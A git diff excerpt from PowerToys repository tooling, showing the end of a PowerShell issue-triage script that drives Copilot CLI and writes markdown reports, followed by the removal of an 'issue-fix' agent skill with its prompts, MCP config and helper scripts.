if ($retry -gt 0) {
Write-Host " ⟳ Retry $retry/$maxRetry for #$issueNum" -ForegroundColor Yellow
Start-Sleep -Seconds 10
}
try {
# Build Copilot CLI arguments
$copilotArgs = @()
if ($mcpCfg) {
$copilotArgs += @('--additional-mcp-config', $mcpCfg)
}
$copilotArgs += @('-p', $prompt, '--yolo', '--agent', 'ReviewIssue')
if ($model) {
$copilotArgs += @('--model', $model)
}
# Run with timeout
$job = Start-Job -ScriptBlock {
param($args)
& copilot @args 2>&1
} -ArgumentList (,$copilotArgs)
$timeoutSec = $timeoutMin * 60
$jobResult = $job | Wait-Job -Timeout $timeoutSec
if ($job.State -eq 'Running') {
# Timeout - kill the job
$job | Stop-Job -PassThru | Remove-Job -Force
$lastError = "Timeout after ${timeoutMin} minutes"
} else {
$output = $job | Receive-Job
$job | Remove-Job -Force
# Check for valid output
if ($output) {
$outputStr = $output -join "`n"
# Try to extract JSON from output
if ($outputStr -match '\{[\s\S]*"issueNumber"[\s\S]*\}') {
$success = $true
} else {
$lastError = "No valid JSON in output"
}
} else {
$lastError = "Empty output from Copilot"
}
}
}
catch {
$lastError = $_.Exception.Message
}
}
# Update progress
[System.Threading.Interlocked]::Increment($completed) | Out-Null
$pct = [math]::Round(($completed.Value / $total) * 100)
if ($success) {
# Save output and parse result
$outputStr = $output -join "`n"
$outputStr | Out-File -FilePath (Join-Path $logDir "analysis.log") -Force
# Try to extract JSON
try {
if ($outputStr -match '(\{[\s\S]*"issueNumber"[\s\S]*\})') {
$jsonStr = $Matches[1]
$parsed = $jsonStr | ConvertFrom-Json -AsHashtable
$results[$issueNum.ToString()] = @{
success = $true
data = $parsed
analyzedAt = (Get-Date).ToUniversalTime().ToString("o")
}
Write-Host " [$pct%] ✓ #$issueNum - $($parsed.category)" -ForegroundColor Green
}
}
catch {
$errors.Add(@{ issueNumber = $issueNum; error = "JSON parse error: $_" })
Write-Host " [$pct%] ⚠ #$issueNum - JSON parse failed" -ForegroundColor Yellow
}
} else {
# Log error
$lastError | Out-File -FilePath (Join-Path $logDir "error.log") -Force
$errors.Add(@{ issueNumber = $issueNum; error = $lastError; retries = $maxRetry })
Write-Host " [$pct%] ✗ #$issueNum - $lastError" -ForegroundColor Red
}
}
}
$elapsed = (Get-Date) - $startTime
Write-Host ""
Write-Host " Analysis complete in $([math]::Round($elapsed.TotalMinutes, 1)) minutes" -ForegroundColor Cyan
Write-Host " ✓ Successful: $($analysisResults.Count)" -ForegroundColor Green
Write-Host " ✗ Failed: $($analysisErrors.Count)" -ForegroundColor $(if ($analysisErrors.Count -gt 0) { 'Red' } else { 'Gray' })
#endregion
#region Merge Results & Categorize
Write-Host ""
Write-Host "[5/6] Merging results and updating state..." -ForegroundColor Yellow
# Merge new analysis with cached results
$allResults = @{}
# Add cached results
foreach ($key in $state.analysisResults.Keys) {
if (-not $analysisResults.ContainsKey($key)) {
$allResults[$key] = $state.analysisResults[$key]
}
}
# Add new results
foreach ($key in $analysisResults.Keys) {
$allResults[$key] = $analysisResults[$key]
}
# Categorize for reporting
$categorized = @{
trending = @()
"needs-label" = @()
"ready-for-fix" = @()
"needs-info" = @()
"needs-clarification" = @()
closeable = @()
"stale-waiting" = @()
"duplicate-candidate" = @()
"review-needed" = @()
}
foreach ($key in $allResults.Keys) {
$result = $allResults[$key]
if ($result.success -and $result.data) {
$data = $result.data
$category = $data.category
if ($categorized.ContainsKey($category)) {
$categorized[$category] += $data
} else {
$categorized["review-needed"] += $data
}
}
}
# Sort each category by priority
foreach ($cat in $categorized.Keys) {
$categorized[$cat] = $categorized[$cat] | Sort-Object { -[int]$_.priorityScore }
}
Write-Host " Categorization complete:" -ForegroundColor Green
foreach ($cat in $categorized.Keys | Sort-Object { $categorized[$_].Count } -Descending) {
if ($categorized[$cat].Count -gt 0) {
Write-Host " - $cat`: $($categorized[$cat].Count)" -ForegroundColor Gray
}
}
#endregion
#region Generate Reports
Write-Host ""
Write-Host "[6/6] Generating reports..." -ForegroundColor Yellow
# Archive previous run
$archiveDate = Get-Date -Format "yyyy-MM-dd_HHmm"
$archivePath = Join-Path $historyPath $archiveDate
if (Test-Path "$currentRunPath/summary.md") {
New-Item -ItemType Directory -Path $archivePath -Force | Out-Null
Copy-Item -Path "$currentRunPath/*" -Destination $archivePath -Recurse -Force
Write-Host " ✓ Archived previous run to: $archiveDate" -ForegroundColor Gray
}
# Clean current run
if (Test-Path $currentRunPath) {
Remove-Item -Path "$currentRunPath/*" -Recurse -Force -ErrorAction SilentlyContinue
}
New-Item -ItemType Directory -Path "$currentRunPath/draft-replies" -Force | Out-Null
# Category info for display
$categoryInfo = @{
"trending" = @{ emoji = "🔥"; name = "Trending" }
"needs-label" = @{ emoji = "🏷️"; name = "Needs-Label" }
"ready-for-fix" = @{ emoji = ""; name = "Ready-for-Fix" }
"needs-info" = @{ emoji = ""; name = "Needs-Info" }
"needs-clarification" = @{ emoji = "💬"; name = "Needs-Clarification" }
"closeable" = @{ emoji = "✔️"; name = "Closeable" }
"stale-waiting" = @{ emoji = ""; name = "Stale-Waiting" }
"duplicate-candidate" = @{ emoji = "🔁"; name = "Duplicate-Candidate" }
"review-needed" = @{ emoji = "👀"; name = "Review-Needed" }
}
$repoUrl = "https://github.com/microsoft/PowerToys/issues"
# Generate summary.md
$summary = @"
# Issue Triage Summary - $(Get-Date -Format 'yyyy-MM-dd')
**Run Type**: $RunType | **Time**: $(Get-Date -Format 'HH:mm UTC') | **Duration**: $([math]::Round($elapsed.TotalMinutes, 1)) min
## 📊 Delta Since Last Run
| Metric | Value |
|--------|-------|
| Issues with new activity | $($uniqueIssues.Count) |
| Newly analyzed | $($analysisResults.Count) |
| Using cached analysis | $($allResults.Count - $analysisResults.Count) |
| Analysis failures | $($analysisErrors.Count) |
## Action Required by Category
| Category | Count | Top Priority | Score |
|----------|-------|--------------|-------|
"@
foreach ($cat in @("trending", "needs-label", "ready-for-fix", "needs-info", "needs-clarification", "closeable", "stale-waiting", "duplicate-candidate", "review-needed")) {
$info = $categoryInfo[$cat]
$issues = $categorized[$cat]
if ($issues.Count -gt 0) {
$top = $issues[0]
$summary += "| $($info.emoji) $($info.name) | $($issues.Count) | [#$($top.issueNumber)]($repoUrl/$($top.issueNumber)) | $($top.priorityScore)/100 |`n"
}
}
$summary += @"
## 🎯 Top 10 Priority Actions
"@
# Get top 10 across all categories
$allIssueData = @()
foreach ($cat in $categorized.Keys) {
$allIssueData += $categorized[$cat]
}
$topIssues = $allIssueData | Sort-Object { -[int]$_.priorityScore } | Select-Object -First 10
$priority = 1
foreach ($issue in $topIssues) {
$info = $categoryInfo[$issue.category]
$urgency = if ([int]$issue.priorityScore -ge 80) { "**[Urgent]**" }
elseif ([int]$issue.priorityScore -ge 60) { "**[High]**" }
elseif ([int]$issue.priorityScore -ge 40) { "[Medium]" }
else { "[Low]" }
$summary += "$priority. $urgency $($info.emoji) [#$($issue.issueNumber)]($repoUrl/$($issue.issueNumber)) - $($issue.categoryReason)`n"
$priority++
}
$summary += @"
## 📁 Detailed Reports
"@
foreach ($cat in @("trending", "needs-label", "ready-for-fix", "needs-info", "needs-clarification", "closeable", "stale-waiting", "duplicate-candidate")) {
$info = $categoryInfo[$cat]
if ($categorized[$cat].Count -gt 0) {
$summary += "- [$($info.emoji) $($info.name)](./$cat.md) ($($categorized[$cat].Count) issues)`n"
}
}
$summary += @"
## 📝 Draft Replies Ready
"@
$draftsWritten = 0
foreach ($cat in @("needs-info", "needs-clarification", "closeable", "stale-waiting")) {
foreach ($issue in $categorized[$cat]) {
if ($issue.draftReply) {
$draftPath = Join-Path "$currentRunPath/draft-replies" "issue-$($issue.issueNumber).md"
$draftContent = @"
---
issue: $($issue.issueNumber)
category: $($issue.category)
generated: $(Get-Date -Format "o")
---
$($issue.draftReply)
"@
$draftContent | Out-File -FilePath $draftPath -Force
$draftsWritten++
}
}
}
$summary += "**$draftsWritten** draft replies ready in ``draft-replies/```n`n"
if ($analysisErrors.Count -gt 0) {
$summary += @"
## Analysis Failures
| Issue | Error |
|-------|-------|
"@
foreach ($err in $analysisErrors) {
$summary += "| #$($err.issueNumber) | $($err.error) |`n"
}
}
$summary += @"
---
*Generated by continuous-issue-triage skill*
*Next suggested run: $(Get-Date (Get-Date).AddDays($(if ($RunType -eq 'daily') { 1 } elseif ($RunType -eq 'twice-weekly') { 3 } else { 7 })) -Format 'yyyy-MM-dd')*
"@
$summary | Out-File -FilePath "$currentRunPath/summary.md" -Force
Write-Host " ✓ Generated: summary.md" -ForegroundColor Green
# Generate category reports
foreach ($cat in $categorized.Keys) {
$issues = $categorized[$cat]
if ($issues.Count -eq 0) { continue }
$info = $categoryInfo[$cat]
$report = @"
# $($info.emoji) $($info.name) Issues
**Total**: $($issues.Count) issues
## Overview
| # | Issue | Priority | Reason | Suggested Action |
|---|-------|----------|--------|------------------|
"@
foreach ($issue in $issues) {
$reason = if ($issue.categoryReason.Length -gt 40) { $issue.categoryReason.Substring(0, 37) + "..." } else { $issue.categoryReason }
$action = if ($issue.suggestedAction.Length -gt 40) { $issue.suggestedAction.Substring(0, 37) + "..." } else { $issue.suggestedAction }
$report += "| [#$($issue.issueNumber)]($repoUrl/$($issue.issueNumber)) | $($issue.priorityScore)/100 | $reason | $action |`n"
}
$report += "`n## Detailed Breakdown`n`n"
foreach ($issue in $issues) {
$report += @"
### [#$($issue.issueNumber)]($repoUrl/$($issue.issueNumber))
- **Priority Score**: $($issue.priorityScore)/100
- **Category Reason**: $($issue.categoryReason)
- **Suggested Action**: $($issue.suggestedAction)
- **Clarity Score**: $($issue.clarityScore)/100
- **Feasibility Score**: $($issue.feasibilityScore)/100
"@
if ($issue.suggestedLabels -and $issue.suggestedLabels.Count -gt 0) {
$report += "- **Suggested Labels**: $($issue.suggestedLabels -join ', ') (confidence: $($issue.labelConfidence)%)`n"
}
if ($issue.missingInfo -and $issue.missingInfo.Count -gt 0) {
$report += "- **Missing Info**: $($issue.missingInfo -join ', ')`n"
}
if ($issue.potentialAssignees -and $issue.potentialAssignees.Count -gt 0) {
$report += "- **Potential Assignees**: $($issue.potentialAssignees -join ', ')`n"
}
if ($issue.similarIssues -and $issue.similarIssues.Count -gt 0) {
$report += "- **Similar Issues**: #$($issue.similarIssues -join ', #')`n"
}
if ($issue.draftReply) {
$report += "- **Draft Reply**: [View](./draft-replies/issue-$($issue.issueNumber).md)`n"
}
$report += "`n---`n`n"
}
$report | Out-File -FilePath "$currentRunPath/$cat.md" -Force
Write-Host " ✓ Generated: $cat.md ($($issues.Count) issues)" -ForegroundColor Green
}
#endregion
#region Save State
Write-Host ""
Write-Host "Saving state for next run..." -ForegroundColor Yellow
# Update issue snapshots
foreach ($issue in $uniqueIssues) {
$issueNum = $issue.number.ToString()
$result = $allResults[$issueNum]
$state.issueSnapshots[$issueNum] = @{
number = $issue.number
title = $issue.title
state = $issue.state
lastSeenAt = (Get-Date).ToUniversalTime().ToString("o")
category = if ($result.data) { $result.data.category } else { "unknown" }
priorityScore = if ($result.data) { $result.data.priorityScore } else { 0 }
}
}
$state.lastRun = (Get-Date).ToUniversalTime().ToString("o")
$state.lastRunType = $RunType
$state.analysisResults = $allResults
$state.statistics.totalRunCount++
$state.statistics.issuesAnalyzed += $analysisResults.Count
$state | ConvertTo-Json -Depth 10 | Out-File -FilePath $statePath -Force
Write-Host " ✓ State saved" -ForegroundColor Green
#endregion
Write-Host ""
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan
Write-Host " Triage complete!" -ForegroundColor Cyan
Write-Host " Reports: $currentRunPath" -ForegroundColor Cyan
Write-Host " Start with: summary.md" -ForegroundColor Cyan
Write-Host "═══════════════════════════════════════════════════════════════" -ForegroundColor Cyan

View File

@@ -1,21 +0,0 @@
MIT License
Copyright (c) Microsoft Corporation.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -1,220 +0,0 @@
---
name: issue-fix
description: Automatically fix GitHub issues and create PRs. Use when asked to fix an issue, implement a feature from an issue, auto-fix an issue, apply implementation plan, create code changes for an issue, resolve a GitHub issue, or submit a PR for an issue. Creates isolated git worktree, applies AI-generated fixes, commits changes, and creates pull requests.
license: Complete terms in LICENSE.txt
---
# Issue Fix Skill
Automatically fix GitHub issues by creating isolated worktrees, applying AI-generated code changes, and creating pull requests - the complete issue-to-PR workflow.
## Skill Contents
This skill is **self-contained** with all required resources:
```
.github/skills/issue-fix/
├── SKILL.md # This file
├── LICENSE.txt # MIT License
├── scripts/
│ ├── Start-IssueAutoFix.ps1 # Main fix script (creates worktree, applies fix)
│ ├── Start-IssueFixParallel.ps1 # Parallel runner (single terminal)
│ ├── Get-WorktreeStatus.ps1 # Worktree status helper
│ ├── Submit-IssueFix.ps1 # Commit and create PR
│ └── IssueReviewLib.ps1 # Shared helpers
└── references/
├── fix-issue.prompt.md # AI prompt for fixing
├── create-commit-title.prompt.md # AI prompt for commit messages
├── create-pr-summary.prompt.md # AI prompt for PR descriptions
└── mcp-config.json # MCP configuration
```
## Output
- **Worktrees**: Created at drive root level `Q:/PowerToys-xxxx/`
- **PRs**: Created on GitHub linking to the original issue
- **Signal file**: `Generated Files/issueFix/<issue>/.signal`
## Signal File
On completion, a `.signal` file is created for orchestrator coordination:
```json
{
"status": "success",
"issueNumber": 45363,
"timestamp": "2026-02-04T10:05:23Z",
"worktreePath": "Q:/PowerToys-ab12"
}
```
Status values: `success`, `failure`
## When to Use This Skill
- Fix a specific GitHub issue automatically
- Implement a feature described in an issue
- Apply an existing implementation plan
- Create code changes and submit PR for an issue
- Auto-fix high-confidence issues end-to-end
## Prerequisites
- GitHub CLI (`gh`) installed and authenticated
- Issue must be reviewed first (use `issue-review` skill)
- PowerShell 7+ for running scripts
- Copilot CLI or Claude CLI installed
## Required Variables
| Variable | Description | Example |
|----------|-------------|---------|
| `{{IssueNumber}}` | GitHub issue number to fix | `44044` |
## Workflow
### Step 1: Ensure Issue is Reviewed
If not already reviewed, use the `issue-review` skill first.
### Step 2: Run Auto-Fix
```powershell
# Create worktree and apply fix
.github/skills/issue-fix/scripts/Start-IssueAutoFix.ps1 -IssueNumber {{IssueNumber}} -CLIType copilot -Force
```
This will:
1. Create a new git worktree with branch `issue/{{IssueNumber}}`
2. Copy the review files to the worktree
3. Launch Copilot CLI to implement the fix
4. Build and verify the changes
### Step 3: Submit PR
```powershell
# Commit changes and create PR
.github/skills/issue-fix/scripts/Submit-IssueFix.ps1 -IssueNumber {{IssueNumber}} -CLIType copilot -Force
```
This will:
1. Generate AI commit message
2. Commit all changes
3. Push to origin
4. Create PR with AI-generated description
5. Link PR to issue with "Fixes #{{IssueNumber}}"
### One-Step Alternative
To fix AND submit in one command:
```powershell
.github/skills/issue-fix/scripts/Start-IssueAutoFix.ps1 -IssueNumber {{IssueNumber}} -CLIType copilot -CreatePR -Force
```
## CLI Options
### Start-IssueAutoFix.ps1
| Parameter | Description | Default |
|-----------|-------------|---------|
| `-IssueNumber` | Issue to fix | Required |
| `-CLIType` | AI CLI: `copilot` or `claude` | `copilot` |
| `-Model` | Copilot model (e.g., `gpt-5.2-codex`) | (optional) |
| `-CreatePR` | Auto-create PR after fix | `false` |
| `-SkipWorktree` | Fix in current repo (no worktree) | `false` |
| `-Force` | Skip confirmation prompts | `false` |
### Submit-IssueFix.ps1
| Parameter | Description | Default |
|-----------|-------------|---------|
| `-IssueNumber` | Issue to submit | Required |
| `-CLIType` | AI CLI: `copilot`, `claude`, `manual` | `copilot` |
| `-Draft` | Create as draft PR | `false` |
| `-SkipCommit` | Skip commit (changes already committed) | `false` |
| `-Force` | Skip confirmation prompts | `false` |
## Batch Processing
Fix multiple issues:
```powershell
# Fix multiple issues (creates worktrees, applies fixes)
.github/skills/issue-fix/scripts/Start-IssueAutoFix.ps1 -IssueNumbers 44044, 32950 -CLIType copilot -Force
# Submit all fixed issues as PRs
.github/skills/issue-fix/scripts/Submit-IssueFix.ps1 -CLIType copilot -Force
```
## Parallel Execution (IMPORTANT)
**DO NOT** spawn separate terminals for each issue. Use the dedicated scripts:
```powershell
# Run fixes in parallel (single terminal)
.github/skills/issue-fix/scripts/Start-IssueFixParallel.ps1 -IssueNumbers 28726,13336,27507,3054,37800 -CLIType copilot -ThrottleLimit 5 -Force
# Check worktree status
.github/skills/issue-fix/scripts/Get-WorktreeStatus.ps1
```
This allows:
- Tracking all jobs in one place
- Waiting for completion with proper synchronization
- Controlling parallelism with `-ThrottleLimit`
- Combined output visibility
## Troubleshooting
| Problem | Solution |
|---------|----------|
| Worktree already exists | Use existing worktree or `git worktree remove <path>` |
| No implementation plan | Use `issue-review` skill first |
| Build failures | Check build logs, may need manual intervention |
| PR already exists | Script will skip, check existing PR |
| CLI not found | Install Copilot CLI |
## PR Creation Requirements (CRITICAL)
**NEVER create PRs with placeholder/stub code.** Every PR must have:
1. **Real implementation** - Actual working code that addresses the issue
2. **Proper title** - Follow `create-commit-title.prompt.md` (Conventional Commits)
3. **Full description** - Follow `create-pr-summary.prompt.md` based on actual diff
### PR Title Format (Conventional Commits)
```
feat(module): add feature description
fix(module): fix bug description
docs(module): update documentation
```
### PR Description Must Include
- Summary of changes (from actual diff)
- `Fixes #IssueNumber` link
- Checklist items marked appropriately
- Validation steps performed
**Example of BAD PR (never do this):**
```
Title: fix: address issue #12345
Body: Fixes #12345
Code: class Fix12345 { public void Apply() { } } // EMPTY STUB!
```
**Example of GOOD PR:**
```
Title: feat(peek): add symbolic link resolution for PDF/HTML files
Body: ## Summary
Adds SymlinkResolver helper to resolve symlinks...
[Full description based on create-pr-summary.prompt.md]
```
## Related Skills
| Skill | Purpose |
|-------|---------|
| `issue-review` | Review issues, generate implementation plans |
| `pr-review` | Review the created PR |
| `pr-fix` | Fix PR review comments |

View File

@@ -1,49 +0,0 @@
---
agent: 'agent'
description: 'Generate an 80-character git commit title for the local diff'
---
# Generate Commit Title
## Purpose
Provide a single-line, ready-to-paste git commit title (<= 80 characters) that reflects the most important local changes since `HEAD`.
## Input to collect
- Run exactly one command to view the local diff:
```@terminal
git diff HEAD
```
## How to decide the title
1. From the diff, find the dominant area (e.g., `src/modules/*`, `doc/devdocs/**`) and the change type (bug fix, docs update, config tweak).
2. Draft an imperative, plain-ASCII title that:
- Mentions the primary component when obvious (e.g., `FancyZones:` or `Docs:`)
- Stays within 80 characters and has no trailing punctuation
## Final output
- Reply with only the commit title on a single line—no extra text.
## PR title convention (when asked)
Use Conventional Commits style:
`<type>(<scope>): <summary>`
**Allowed types**
- feat, fix, docs, refactor, perf, test, build, ci, chore
**Scope rules**
- Use a short, PowerToys-focused scope (one word preferred). Common scopes:
- Core: `runner`, `settings-ui`, `common`, `docs`, `build`, `ci`, `installer`, `gpo`, `dsc`
- Modules: `fancyzones`, `powerrename`, `awake`, `colorpicker`, `imageresizer`, `keyboardmanager`, `mouseutils`, `peek`, `hosts`, `file-locksmith`, `screen-ruler`, `text-extractor`, `cropandlock`, `paste`, `powerlauncher`
- If unclear, pick the closest module or subsystem; omit only if unavoidable
**Summary rules**
- Imperative, present tense (“add”, “update”, “remove”, “fix”)
- Keep it <= 72 characters when possible; be specific, avoid “misc changes”
**Examples**
- `feat(fancyzones): add canvas template duplication`
- `fix(mouseutils): guard crosshair toggle when dpi info missing`
- `docs(runner): document tray icon states`
- `build(installer): align wix v5 suffix flag`
- `ci(ci): cache pipeline artifacts for x64`

View File

@@ -1,24 +0,0 @@
---
agent: 'agent'
description: 'Generate a PowerToys-ready pull request description from the local diff'
---
# Generate PR Summary
**Goal:** Produce a ready-to-paste PR title and description that follows PowerToys conventions by comparing the current branch against a user-selected target branch.
**Repo guardrails:**
- Treat `.github/pull_request_template.md` as the single source of truth; load it at runtime instead of embedding hardcoded content in this prompt.
- Preserve section order from the template but only surface checklist lines that are relevant for the detected changes, filling them with `[x]`/`[ ]` as appropriate.
- Cite touched paths with inline backticks, matching the guidance in `.github/copilot-instructions.md`.
- Call out test coverage explicitly: list automated tests run (unit/UI) or state why they are not applicable.
**Workflow:**
1. Determine the target branch from user context; default to `main` when no branch is supplied.
2. Run `git status --short` once to surface uncommitted files that may influence the summary.
3. Run `git diff <target-branch>...HEAD` a single time to review the detailed changes. Only when confidence stays low dig deeper with focused calls such as `git diff <target-branch>...HEAD -- <path>`.
4. From the diff, capture impacted areas, key file changes, behavioral risks, migrations, and noteworthy edge cases.
5. Confirm validation: list tests executed with results or state why tests were skipped in line with repo guidance.
6. Load `.github/pull_request_template.md`, mirror its section order, and populate it with the gathered facts. Include only relevant checklist entries, marking them `[x]/[ ]` and noting any intentional omissions as "N/A".
7. Present the filled template inside a fenced ```markdown code block with no extra commentary so it is ready to paste into a PR, clearly flagging any placeholders that still need user input.
8. Prepend the PR title above the filled template, applying the Conventional Commit type/scope rules from `.github/prompts/create-commit-title.prompt.md`; pick the dominant component from the diff and keep the title concise and imperative.

View File

@@ -1,72 +0,0 @@
---
agent: 'agent'
description: 'Execute the fix for a GitHub issue using the previously generated implementation plan'
---
# Fix GitHub Issue
## Dependencies
Source review prompt (for generating the implementation plan if missing):
- .github/prompts/review-issue.prompt.md
Required plan file (single source of truth):
- Generated Files/issueReview/{{issue_number}}/implementation-plan.md
## Dependency Handling
1) If `implementation-plan.md` exists → proceed.
2) If missing → run the review prompt:
- Invoke: `.github/prompts/review-issue.prompt.md`
- Pass: `issue_number={{issue_number}}`
- Then re-check for `implementation-plan.md`.
3) If still missing → stop and generate:
- `Generated Files/issueFix/{{issue_number}}/manual-steps.md` containing:
“implementation-plan.md not found; please run .github/prompts/review-issue.prompt.md for #{{issue_number}}.”
# GOAL
For **#{{issue_number}}**:
- Use implementation-plan.md as the single authority.
- Apply code and test changes directly in the repository.
- Produce a PR-ready description.
# OUTPUT FILES
1) Generated Files/issueFix/{{issue_number}}/pr-description.md
2) Generated Files/issueFix/{{issue_number}}/manual-steps.md # only if human interaction or external setup is required
# EXECUTION RULES
1) Read implementation-plan.md and execute:
- Layers & Files → edit/create as listed
- Pattern Choices → follow repository conventions
- Fundamentals (perf, security, compatibility, accessibility)
- Logging & Exceptions
- Telemetry (only if explicitly included in the plan)
- Risks & Mitigations
- Tests to Add
2) Locate affected files via `rg` or `git grep`.
3) Add/update tests to enforce the fixed behavior.
4) If any ambiguity exists, add:
// TODO(Human input needed): <clarification needed>
5) Verify locally: build & tests run successfully.
# pr-description.md should include:
- Title: `Fix: <short summary> (#{{issue_number}})`
- What changed and why the fix works
- Files or modules touched
- Risks & mitigations (implemented)
- Tests added/updated and how to run them
- Telemetry behavior (if applicable)
- Validation / reproduction steps
- `Closes #{{issue_number}}`
# manual-steps.md (only if needed)
- List required human actions: secrets, config, approvals, missing info, or code comments requiring human decisions.
# IMPORTANT
- Apply code and tests directly; do not produce patch files.
- Follow implementation-plan.md as the source of truth.
- Insert comments for human review where a decision or input is required.
- Use repository conventions and deterministic, minimal changes.
# FINALIZE
- Write pr-description.md
- Write manual-steps.md only if needed
- Print concise success message or note items requiring human interaction

View File

@@ -1,9 +0,0 @@
{
"mcpServers": {
"github-artifacts": {
"command": "cmd",
"args": ["/c", "for /f %i in ('git rev-parse --show-toplevel') do node %i/tools/mcp/github-artifacts/launch.js"],
"tools": ["*"]
}
}
}

View File

@@ -1,22 +0,0 @@
<#
.SYNOPSIS
Show commit/uncommitted status for issue/* worktrees.
#>
[CmdletBinding()]
param()
$repoRoot = Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')
Set-Location $repoRoot
git worktree list | Select-String "issue/" | ForEach-Object {
$path = ($_ -split "\s+")[0]
$branch = ($_ -split "\s+")[2] -replace "\[|\]",""
$ahead = (git -C $path rev-list main..HEAD --count 2>$null)
$uncommitted = (git -C $path status --porcelain 2>$null | Measure-Object).Count
[pscustomobject]@{
Branch = $branch
CommitsAhead = $ahead
Uncommitted = $uncommitted
Path = $path
}
}

View File

@@ -1,644 +0,0 @@
# IssueReviewLib.ps1 - Helpers for issue auto-fix workflow
# Part of the PowerToys GitHub Copilot/Claude Code issue review system
# This is a trimmed version with only what issue-fix needs
#region Console Output Helpers
function Info { param([string]$Message) Write-Host $Message -ForegroundColor Cyan }
function Warn { param([string]$Message) Write-Host $Message -ForegroundColor Yellow }
function Err { param([string]$Message) Write-Host $Message -ForegroundColor Red }
function Success { param([string]$Message) Write-Host $Message -ForegroundColor Green }
#endregion
#region Repository Helpers
function Get-RepoRoot {
$root = git rev-parse --show-toplevel 2>$null
if (-not $root) { throw 'Not inside a git repository.' }
return (Resolve-Path $root).Path
}
function Get-GeneratedFilesPath {
param([string]$RepoRoot)
return Join-Path $RepoRoot 'Generated Files'
}
function Get-IssueReviewPath {
param(
[string]$RepoRoot,
[int]$IssueNumber
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
return Join-Path $genFiles "issueReview/$IssueNumber"
}
function Ensure-DirectoryExists {
param([string]$Path)
if (-not (Test-Path $Path)) {
New-Item -ItemType Directory -Path $Path -Force | Out-Null
}
}
#endregion
#region CLI Detection
function Get-AvailableCLI {
<#
.SYNOPSIS
Detect which AI CLI is available: GitHub Copilot CLI or Claude Code.
#>
# Check for standalone GitHub Copilot CLI
$copilotCLI = Get-Command 'copilot' -ErrorAction SilentlyContinue
if ($copilotCLI) {
return @{ Name = 'GitHub Copilot CLI'; Command = 'copilot'; Type = 'copilot' }
}
# Check for Claude Code CLI
$claudeCode = Get-Command 'claude' -ErrorAction SilentlyContinue
if ($claudeCode) {
return @{ Name = 'Claude Code CLI'; Command = 'claude'; Type = 'claude' }
}
# Check for GitHub Copilot CLI via gh extension
$ghCopilot = Get-Command 'gh' -ErrorAction SilentlyContinue
if ($ghCopilot) {
$copilotCheck = gh extension list 2>&1 | Select-String -Pattern 'copilot'
if ($copilotCheck) {
return @{ Name = 'GitHub Copilot CLI (gh extension)'; Command = 'gh'; Type = 'gh-copilot' }
}
}
# Check for VS Code CLI
$code = Get-Command 'code' -ErrorAction SilentlyContinue
if ($code) {
return @{ Name = 'VS Code (Copilot Chat)'; Command = 'code'; Type = 'vscode' }
}
return $null
}
#endregion
#region Issue Review Results Helpers
function Get-IssueReviewResult {
<#
.SYNOPSIS
Check if an issue has been reviewed and get its results.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$RepoRoot
)
$reviewPath = Get-IssueReviewPath -RepoRoot $RepoRoot -IssueNumber $IssueNumber
$result = @{
IssueNumber = $IssueNumber
Path = $reviewPath
HasOverview = $false
HasImplementationPlan = $false
OverviewPath = $null
ImplementationPlanPath = $null
}
$overviewPath = Join-Path $reviewPath 'overview.md'
$implPlanPath = Join-Path $reviewPath 'implementation-plan.md'
if (Test-Path $overviewPath) {
$result.HasOverview = $true
$result.OverviewPath = $overviewPath
}
if (Test-Path $implPlanPath) {
$result.HasImplementationPlan = $true
$result.ImplementationPlanPath = $implPlanPath
}
return $result
}
function Get-HighConfidenceIssues {
<#
.SYNOPSIS
Find issues with high confidence for auto-fix based on review results.
#>
param(
[Parameter(Mandatory)]
[string]$RepoRoot,
[int]$MinFeasibilityScore = 70,
[int]$MinClarityScore = 60,
[int]$MaxEffortDays = 2,
[int[]]$FilterIssueNumbers = @()
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
$reviewDir = Join-Path $genFiles 'issueReview'
if (-not (Test-Path $reviewDir)) {
return @()
}
$highConfidence = @()
Get-ChildItem -Path $reviewDir -Directory | ForEach-Object {
$issueNum = [int]$_.Name
if ($FilterIssueNumbers.Count -gt 0 -and $issueNum -notin $FilterIssueNumbers) {
return
}
$overviewPath = Join-Path $_.FullName 'overview.md'
$implPlanPath = Join-Path $_.FullName 'implementation-plan.md'
if (-not (Test-Path $overviewPath) -or -not (Test-Path $implPlanPath)) {
return
}
$overview = Get-Content $overviewPath -Raw
$feasibility = 0
$clarity = 0
$effortDays = 999
if ($overview -match 'Technical Feasibility[^\d]*(\d+)/100') {
$feasibility = [int]$Matches[1]
}
if ($overview -match 'Requirement Clarity[^\d]*(\d+)/100') {
$clarity = [int]$Matches[1]
}
if ($overview -match 'Effort Estimate[^|]*\|\s*[\d.]+(?:-(\d+))?\s*days?') {
if ($Matches[1]) {
$effortDays = [int]$Matches[1]
} elseif ($overview -match 'Effort Estimate[^|]*\|\s*(\d+)\s*days?') {
$effortDays = [int]$Matches[1]
}
}
if ($overview -match 'Effort Estimate[^|]*\|[^|]*\|\s*(XS|S)\b') {
if ($Matches[1] -eq 'XS') { $effortDays = 1 } else { $effortDays = 2 }
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(XS\)') {
$effortDays = 1
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(S\)') {
$effortDays = 2
}
if ($feasibility -ge $MinFeasibilityScore -and
$clarity -ge $MinClarityScore -and
$effortDays -le $MaxEffortDays) {
